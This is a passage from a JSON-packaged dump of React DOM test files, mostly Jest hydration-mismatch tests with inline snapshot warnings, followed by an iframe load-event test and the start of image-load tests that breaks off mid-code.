\\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     first\n          -     <main className=\"2\">\n                ...\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra text node in the end', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              <main className=\"2\" />\n              {isClient && 'third'}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n                <main>\n          +     third\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n    });\n  });\n\n  describe('extra nodes on the server', () => {\n    describe('extra elements on the server', () => {\n      // @gate __DEV__\n      it('warns when server renders an extra element as only child', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && <main className=\"only\" />}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     <main className=\"only\">\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra element in the beginning', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && <header className=\"1\" />}\n              <main className=\"2\" />\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <main className=\"2\">\n          -     <header className=\"1\">\n                ...\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra element in the middle', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              {!isClient && <main className=\"2\" />}\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n          +     <footer className=\"3\">\n          -     <main className=\"2\">\n          ]\n            Owner Stack:\n              in footer (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra element in the end', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              <main className=\"2\" />\n              {!isClient && <footer className=\"3\" />}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     <footer className=\"3\">\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n    });\n\n    describe('extra text nodes on the server', () => {\n      // @gate __DEV__\n      it('warns when server renders an extra text node as only child', () => {\n        function Mismatch({isClient}) {\n          return <div className=\"parent\">{!isClient && 'only'}</div>;\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     only\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra text node in the beginning', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && 'first'}\n              <main className=\"2\" />\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <main className=\"2\">\n          -     first\n                ...\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra text node in the middle', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              {!isClient && 'second'}\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n          +     <footer className=\"3\">\n          -     second\n          ]\n            Owner Stack:\n              in footer (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra text node in the end', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              <main className=\"2\" />\n              {!isClient && 'third'}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     third\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n    });\n  });\n\n  describe('special nodes', () => {\n    describe('Suspense', () => {\n      function Never() {\n        throw new Promise(resolve => {});\n      }\n\n      // @gate __DEV__\n      it('warns when client renders an extra Suspense node in content mode', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && (\n                <React.Suspense fallback={<p>Loading...</p>}>\n                  <main className=\"only\" />\n                </React.Suspense>\n              )}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <Suspense fallback={<p>}>\n          ]\n            Owner Stack:\n              in Suspense (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra Suspense node in content mode', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && (\n                <React.Suspense fallback={<p>Loading...</p>}>\n                  <main className=\"only\" />\n                </React.Suspense>\n              )}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     <Suspense>\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra Suspense node in fallback mode', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && (\n                <React.Suspense fallback={<p>Loading...</p>}>\n                  <main className=\"only\" />\n                  <Never />\n                </React.Suspense>\n              )}\n            </div>\n          );\n        }\n        // TODO: This message doesn't seem to have any useful details.\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <Suspense fallback={<p>}>\n          ]\n            Owner Stack:\n              in Suspense (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra Suspense node in fallback mode', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && (\n                <React.Suspense fallback={<p>Loading...</p>}>\n                  <main className=\"only\" />\n                  <Never />\n                </React.Suspense>\n              )}\n            </div>\n          );\n        }\n\n        // @TODO changes made to sending Fizz errors to client led to the insertion of templates in client rendered\n        // suspense boundaries. This leaks in this test because the client rendered suspense boundary appears like\n        // unhydrated tail nodes and this template is the first match. When we add special case handling for client\n        // rendered suspense boundaries this test will likely change again\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     <Suspense>\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra node inside Suspense content', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <React.Suspense fallback={<p>Loading...</p>}>\n                <header className=\"1\" />\n                {isClient && <main className=\"second\" />}\n                <footer className=\"3\" />\n              </React.Suspense>\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <Suspense fallback={<p>}>\n                  <header>\n          +       <main className=\"second\">\n          -       <footer className=\"3\">\n                  ...\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra node inside Suspense content', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <React.Suspense fallback={<p>Loading...</p>}>\n                <header className=\"1\" />\n                {!isClient && <main className=\"second\" />}\n                <footer className=\"3\" />\n              </React.Suspense>\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <Suspense fallback={<p>}>\n                  <header>\n          +       <footer className=\"3\">\n          -       <main className=\"second\">\n          ]\n            Owner Stack:\n              in footer (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra node inside Suspense fallback', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <React.Suspense\n                fallback={\n                  <>\n                    <p>Loading...</p>\n                    {isClient && <br />}\n                  </>\n                }>\n                <main className=\"only\" />\n                <Never />\n              </React.Suspense>\n            </div>\n          );\n        }\n\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Switched to client rendering because the server rendering aborted due to:\n\n          The server used \"renderToString\" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to \"renderToPipeableStream\" which supports Suspense on the server]\n            Owner Stack: null\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra node inside Suspense fallback', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <React.Suspense\n                fallback={\n                  <>\n                    <p>Loading...</p>\n                    {!isClient && <br />}\n                  </>\n                }>\n                <main className=\"only\" />\n                <Never />\n              </React.Suspense>\n            </div>\n          );\n        }\n\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Switched to client rendering because the server rendering aborted due to:\n\n          The server used \"renderToString\" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to \"renderToPipeableStream\" which supports Suspense on the server]\n            Owner Stack: null\",\n          ]\n        `);\n      });\n    });\n\n    describe('Fragment', () => {\n      // @gate __DEV__\n      it('warns when client renders an extra Fragment node', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && (\n                <>\n                  <header className=\"1\" />\n                  <main className=\"2\" />\n                  <footer className=\"3\" />\n                </>\n              )}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <header className=\"1\">\n                ...\n          ]\n            Owner Stack:\n              in header (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when server renders an extra Fragment node', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {!isClient && (\n                <>\n                  <header className=\"1\" />\n                  <main className=\"2\" />\n                  <footer className=\"3\" />\n                </>\n              )}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          -     <header className=\"1\">\n          -     <main className=\"2\">\n          -     <footer className=\"3\">\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n    });\n  });\n\n  describe('misc cases', () => {\n    // @gate __DEV__\n    it('warns when client renders an extra node deeper in the tree', () => {\n      function Mismatch({isClient}) {\n        return isClient ? <ProfileSettings /> : <MediaSettings />;\n      }\n\n      function ProfileSettings() {\n        return (\n          <div className=\"parent\">\n            <input />\n            <Panel type=\"profile\" />\n          </div>\n        );\n      }\n\n      function MediaSettings() {\n        return (\n          <div className=\"parent\">\n            <input />\n            <Panel type=\"media\" />\n          </div>\n        );\n      }\n\n      function Panel({type}) {\n        return (\n          <>\n            <header className=\"1\" />\n            <main className=\"2\" />\n            {type === 'profile' && <footer className=\"3\" />}\n          </>\n        );\n      }\n\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <ProfileSettings>\n              <div className=\"parent\">\n                <input>\n                <Panel type=\"profile\">\n                  <header>\n                  <main>\n        +         <footer className=\"3\">\n        ]\n          Owner Stack:\n            in footer (at **)\n            in Panel (at **)\n            in ProfileSettings (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('warns when server renders an extra node deeper in the tree', () => {\n      function Mismatch({isClient}) {\n        return isClient ? <ProfileSettings /> : <MediaSettings />;\n      }\n\n      function ProfileSettings() {\n        return (\n          <div className=\"parent\">\n            <input />\n            <Panel type=\"profile\" />\n          </div>\n        );\n      }\n\n      function MediaSettings() {\n        return (\n          <div className=\"parent\">\n            <input />\n            <Panel type=\"media\" />\n          </div>\n        );\n      }\n\n      function Panel({type}) {\n        return (\n          <>\n            <header className=\"1\" />\n            <main className=\"2\" />\n            {type !== 'profile' && <footer className=\"3\" />}\n          </>\n        );\n      }\n\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <ProfileSettings>\n              <div className=\"parent\">\n        -       <footer className=\"3\">\n        ]\n          Owner Stack:\n            in div (at **)\n            in ProfileSettings (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMIframe-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMIframe', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should trigger load events', async () => {\n    const onLoadSpy = jest.fn();\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(React.createElement('iframe', {onLoad: onLoadSpy}));\n    });\n    const iframe = container.firstChild;\n\n    const loadEvent = document.createEvent('Event');\n    loadEvent.initEvent('load', false, false);\n\n    await act(() => {\n      iframe.dispatchEvent(loadEvent);\n    });\n\n    expect(onLoadSpy).toHaveBeenCalled();\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMImageLoad-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet Scheduler;\n// let ReactCache;\nlet ReactDOM;\nlet ReactDOMClient;\n// let Suspense;\nlet originalCreateElement;\n// let TextResource;\n// let textResourceShouldFail;\nlet originalHTMLImageElementSrcDescriptor;\n\nlet images = [];\nlet onLoadSpy = null;\nlet actualLoadSpy = null;\n\nlet waitForAll;\nlet waitFor;\nlet assertLog;\n\nfunction PhaseMarkers({children}) {\n  Scheduler.log('render start');\n  React.useLayoutEffect(() => {\n    Scheduler.log('last layout');\n  });\n  React.useEffect(() => {\n    Scheduler.log('last passive');\n  });\n  return children;\n}\n\nfunction last(arr) {\n  if (Array.isArray(arr)) {\n    if (arr.length) {\n      return arr[arr.length - 1];\n    }\n    return undefined;\n  }\n  throw new Error('last was passed something that was not an array');\n}\n\nfunction Text(props) {\n  Scheduler.log(props.text);\n  return props.text;\n}\n\n// function AsyncText(props) {\n//   const text = props.text;\n//   try {\n//     TextResource.read([props.text, props.ms]);\n//     Scheduler.log(text);\n//     return text;\n//   } catch (promise) {\n//     if (typeof promise.then === 'function') {\n//       Scheduler.log(`Suspend! [${text}]`);\n//     } else {\n//       Scheduler.log(`Error! [${text}]`);\n//     }\n//     throw promise;\n//   }\n// }\n\nfunction Img({src: maybeSrc, onLoad, useImageLoader, ref}) {\n  const src = maybeSrc || 'default';\n  Scheduler.log('Img ' + src);\n  return <img src={src} onLoad={onLoad} />;\n}\n\nfunction Yield() {\n  Scheduler.log('Yield');\n  Scheduler.unstable_requestPaint();\n  return null;\n}\n\nfunction loadImage(element) {\n  const event = new Event('load');\n  element.__needsDispatch = false;\n  element.dispatchEvent(event);\n}\n\ndescribe('ReactDOMImageLoad', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Scheduler = require('scheduler');\n    // ReactCache = require('react-cache');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    // Suspense = React.Suspense;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    assertLog = InternalTestUtils.assertLog;\n\n    onLoadSpy = jest.fn(reactEvent => {\n      const src = reactEvent.target.getAttribute('src');\n      Scheduler.log('onLoadSpy [' + src + ']');\n    });\n\n    actualLoadSpy = jest.fn(nativeEvent => {\n      const src = nativeEvent.target.getAttribute('src');\n      Scheduler.log('actualLoadSpy [' + src + ']');\n      nativeEvent.__originalDispatch = false;\n    });\n\n    // TextResource = ReactCache.unstable_createResource(\n    //   ([text, ms = 0]) => {\n    //     let listeners = null;\n    //     let status = 'pending';\n    //     let value = null;\n    //     return {\n    //       then(resolve, reject) {\n    //         switch (status) {\n    //           case 'pending': {\n    //             if (listeners === null) {\n    //               listeners = [{resolve, reject}];\n    //               setTimeout(() => {\n    //                 if (textResourceShouldFail) {\n    //                   Scheduler.log(\n    //                     `Promise rejected [${text}]`,\n    //                   );\n    //                   status = 'rejected';\n    //                   value = new Error('Failed to load: ' + text);\n    //                   listeners.forEach(listener => listener.reject(value));\n    //                 } else {\n    //                   Scheduler.log(\n    //                     `Promise resolved [${text}]`,\n    //                   );\n    //                   status = 'resolved';\n    //                   value = text;\n    //                   listeners.forEach(listener => listener.resolve(value));\n    //                 }\n    //               }, ms);\n    //             } else {\n    //               listeners.push({resolve, reject});\n    //             }\n    //             break;\n    //           }\n    //           case 'resolved': {\n    //             resolve(value);\n    //             break;\n    //           }\n    //           case 'rejected': {\n    //             reject(value);\n    //             break;\n    //           }\n    //         }\n    //       },\n    //     };\n    //   },\n    //   ([text, ms]) => text,\n    // );\n    // textResourceShouldFail = false;\n\n    images = [];\n\n    originalCreateElement = document.createElement;\n    document.createElement = function createElement(tagName, options) {\n      const element = originalCreateElement.call(document, tagName, options);\n      if (tagName === 'img') {\n        element.addEventListener('load', actualLoadSpy);\n        images.push(element);\n      }\n      return element;\n    };\n\n    originalHTMLImageElementSrcDescriptor = Object.getOwnPropertyDescriptor(\n      HTMLImageElement.prototype,\n      'src',\n    );\n\n    Object.defineProperty(HTMLImageElement.prototype, 'src', {\n      get() {\n        return this.getAttribute('src');\n      },\n      set(value) {\n        Scheduler.log('load triggered');\n        this.__needsDispatch = true;\n        